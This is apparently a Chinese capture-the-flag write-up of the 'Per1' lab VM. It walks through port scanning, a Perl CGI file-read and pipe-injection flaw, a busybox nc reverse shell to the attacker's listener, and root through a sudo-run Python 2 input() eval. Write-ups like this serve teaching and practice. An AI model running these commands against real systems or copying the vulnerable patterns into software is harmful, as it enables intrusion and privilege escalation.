# Per1

扫端口

```
qiaojojo@homo [16:22:11] [~]
-> % nmap -sT -p- -A 192.168.88.242
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-09 16:22 HKT
Nmap scan report for 192.168.88.242
Host is up (0.0030s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Perl: The Epitome of Elegance
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:94:B8:C2 (PCS Systemtechnik/Oracle VirtualBox virtu
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mi
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik Route
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

就 22、80，先看 web 是什么成分

```
qiaojojo@homo [16:22:27] [~]
-> % curl http://192.168.88.242/
<!DOCTYPE html>
<html>
<head>
<title>Perl: The Epitome of Elegance</title>
<style>
body { font-family: sans-serif; margin: 40px; background: #f0f0f0; }
header { text-align: center; padding: 30px; background: linear-gradient(
h1 { font-size: 3.5em; text-shadow: 2px 2px 4px #00000080; letter-spacin
.perl-art { font-family: monospace; font-size: 1.2em; line-height: 1.4; r
footer { text-align: center; margin-top: 40px; color: #666; }
.cgi-hidden { display: none; }
</style>
</head>
<body>
<header>
<h1>Perl is the Most Beautiful Language</h1>
</header>

<main>
<p style="text-align: center; font-size: 1.3em;">Where elegance meets pow

<div class="perl-art">
     ,-.       . .       . .
    (   `.     | |       | |
     `-.  .--. | |.-..-. | |
    ,   `(   )\` '-' '   `-'
     `-..`-''  `---'   `---'

sub beauty {
    my $soul = shift;
    return $soul * infinity;
}

print beauty(42);
</div>

<div><!-- cgi --></div>
</main>

<footer>
<p>Perl: Transforming thoughts into art since 1987</p>
</footer>
</body>
</html>
```

是一个讲 `perl` 的静态页，注释里提示 `cgi`，对 cgi 目录进行下暴破

```
qiaojojo@homo [16:23:29] [~]
-> % gobuster dir --wordlist /usr/share/seclists/Discovery/Web-Content/d
/file.cgi             (Status: 200) [Size: 22]
```

访问下 `file.cgi`

```
qiaojojo@homo [16:24:50] [~]
-> % curl http://192.168.88.242/cgi-bin/file.cgi
Missing file parameter
```

盲猜参数是 `?file`，确实也是

```
qiaojojo@homo [16:25:30] [~]
-> % curl http://192.168.88.242/cgi-bin/file.cgi\?file\=///etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbi
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/us
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nol
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
sunset:x:1001:1001:,,,:/home/sunset:/bin/bash
```

看看这个 cgi 文件咋写的

```
qiaojojo@homo [16:25:58] [~]
-> % curl http://192.168.88.242/cgi-bin/file.cgi\?file\=./file.cgi
#!/usr/bin/perl
use CGI;
print CGI::header();
my $input = CGI::param('file');
if($input) {
    open(FILE, $input);
    print while <FILE>;
    close(FILE);
}
else {
    print "Missing file parameter";
}
```

一眼代码执行

```
qiaojojo@homo [16:27:13] [~]
-> % curl http://192.168.88.242/cgi-bin/file.cgi\?file\=\|nc    #没反应

qiaojojo@homo [16:27:46] [~]
-> % curl http://192.168.88.242/cgi-bin/file.cgi\?file\=\|busybox
BusyBox v1.30.1 (Debian 1:1.30.1-4) multi-call binary.
BusyBox is copyrighted by many authors between 1998-2015.
Licensed under GPLv2. See source distribution for detailed
copyright notices.

Usage: busybox [function [arguments]...]
   or: busybox --list[-full]
   or: busybox --show SCRIPT
   or: busybox --install [-s] [DIR]
   or: function [arguments]...

        BusyBox is a multi-call binary that combines many common Unix
        utilities into a single executable.  Most people will create a
        link to busybox for each function they wish to use and BusyBox
        will act like whatever it was invoked as.

Currently defined functions:
        [, [[, acpid, adjtimex, ar, arch, arp, arping, ash, awk, basenam
        blkdiscard, blockdev, brctl, bunzip2, bzcat, bzip2, cal, cat, ch
        chmod, chown, chroot, chvt, clear, cmp, cp, cpio, cttyhack, cut,
        dc, dd, deallocvt, depmod, devmem, df, diff, dirname, dmesg,
        dnsdomainname, dos2unix, du, dumpkmap, dumpleases, echo, egrep, e
        expand, expr, factor, fallocate, false, fatattr, fgrep, find, fo
        free, freeramdisk, fsfreeze, fstrim, ftpget, ftpput, getopt, get
        grep, groups, gunzip, gzip, halt, head, hexdump, hostid, hostnam
```

```
        httpd, hwclock, i2cdetect, i2cdump, i2cget, i2cset, id, ifconfig
        ifdown, ifup, init, insmod, ionice, ip, ipcalc, ipneigh, kill, k
        klogd, last, less, link, linux32, linux64, linuxrc, ln, loadfont
        loadkmap, logger, login, logname, logread, losetup, ls, lsmod, l
        lzcat, lzma, lzop, md5sum, mdev, microcom, mkdir, mkdosfs, mke2f
        mkfifo, mknod, mkpasswd, mkswap, mktemp, modinfo, modprobe, more
        mount, mt, mv, nameif, nc, netstat, nl, nologin, nproc, nsenter,
        nslookup, nuke, od, openvt, partprobe, paste, patch, pidof, ping
        ping6, pivot_root, poweroff, printf, ps, pwd, rdate, readlink,
        realpath, reboot, renice, reset, resume, rev, rm, rmdir, rmmod,
        rpm, rpm2cpio, run-init, run-parts, sed, seq, setkeycodes, setpr
        setsid, sh, sha1sum, sha256sum, sha512sum, shred, shuf, sleep, s
        ssl_client, start-stop-daemon, stat, strings, stty, svc, svok, s
        swapon, switch_root, sync, sysctl, syslogd, tac, tail, tar, task
        tee, telnet, test, tftp, time, timeout, top, touch, tr, traceou
        traceroute6, true, truncate, tty, ubirename, udhcpc, udhcpd, ueve
        umount, uname, uncompress, unexpand, uniq, unix2dos, unlink, unl
        unshare, unxz, unzip, uptime, usleep, uudecode, uuencode, vconfi
        w, watch, watchdog, wc, wget, which, who, whoami, xargs, xxd, xz
        xzcat, yes, zcat
```

忙碌盒子里有 nc，直接弹 shell

```
qiaojojo@homo [16:27:49] [~]
-> % curl http://192.168.88.242/cgi-bin/file.cgi\?file\=\|busybox%20nc%2

root@kali [16:30:58] [~/tools/tools]
-> # nc -lvvp 12450
listening on [any] 12450 ...
192.168.88.242: inverse host lookup failed: Unknown host
connect to [192.168.88.154] from (UNKNOWN) [192.168.88.242] 44428
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

看看我能干啥，发现了个不常见的文件

```
www-data@Per1:/var/www$ find /* -type f -perm -u=x 2>/dev/null
/opt/password.pl
```

看看是干啥的

```
my @char_generator = (
    [102, 5]
);


my @decoy_blocks = (
    {values => [66, 71, 77], offsets => [2, 3, 5]},
    {values => [85, 90, 95], offsets => [4, 1, 6]},
    {values => [105, 110, 115], offsets => [3, 7, 2]}
);


my $output;
for my $i (0..4) {

    if ($i < 3) {
        my ($val, $off) = @{$char_generator[$i]};
        $output .= chr($val - $off);
    }

    else {

        if ($i == 4) {
            my $noise = $decoy_blocks[0]{values}[0] - $decoy_blocks[0]{o

        }

        for my $j (($i == 3) ? (3..5) : (6..8)) {
            my ($val, $off) = @{$char_generator[$j]};
            $output .= chr($val - $off);
        }
        last;
    }
}

print $output . "\n";
```

什么玩意，跑一下。应该是得到了个密码，上 sunset 看看

```
www-data@Per1:/usr/lib/cgi-bin$ perl /opt/password.pl
dylan4

www-data@Per1:/usr/lib/cgi-bin$ su sunset
Password:

sunset@Per1:/usr/lib/cgi-bin$ id
uid=1001(sunset) gid=1001(sunset) groups=1001(sunset)
```

拿到 `user.txt`

```
sunset@Per1:~$ cat ~/user.txt
flag{user-5b5b8e9b01ef27a1cc0a2d5fa87d7190}
```

`sudo -l` 看眼先

```
sunset@Per1:~$ sudo -l
Matching Defaults entries for sunset on Per1:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sl

User sunset may run the following commands on Per1:
    (ALL) NOPASSWD: /usr/bin/python /usr/bin/guess_game.py
```

可以让用 `/usr/bin/python` 跑 `/usr/bin/guess_game.py`，先看看这几个文件都是干啥的

```
sunset@Per1:~$ ls -la /usr/bin/python /usr/bin/guess_game.py
-rw-r--r-- 1 root root 465 Aug  8 09:13 /usr/bin/guess_game.py
lrwxrwxrwx 1 root root  18 Aug  8 09:10 /usr/bin/python -> /usr/bin/pytho

sunset@Per1:~$ cat /usr/bin/guess_game.py
import random

def guess_game():
    ans = random.randint(0, 65535)
    print "Welcome to the guess game!"
    print "I've chosen a number between 0 and 65535."
    try:
        user_input = input("Your guess: ")
    except Exception as e:
        print "Error:", e
        return

    if user_input == ans:
        print "Congratulations! You guessed it."
    else:
        print "Wrong! The correct number was", ans

if __name__ == '__main__':
    guess_game()
```

`/usr/bin/guess_game.py` 调了 `input()`，而且没做过滤，一眼任意代码执行

直接 `__import__('os').system('cat /root/*')`，得到 root flag

```
sunset@Per1:~$ sudo /usr/bin/python /usr/bin/guess_game.py
Welcome to the guess game!
Your guess: __import__('os').system('cat /root/*')
flag{root-c27679de03aba03c5a33159aef11f8ea}
Wrong! The correct number was 32862
```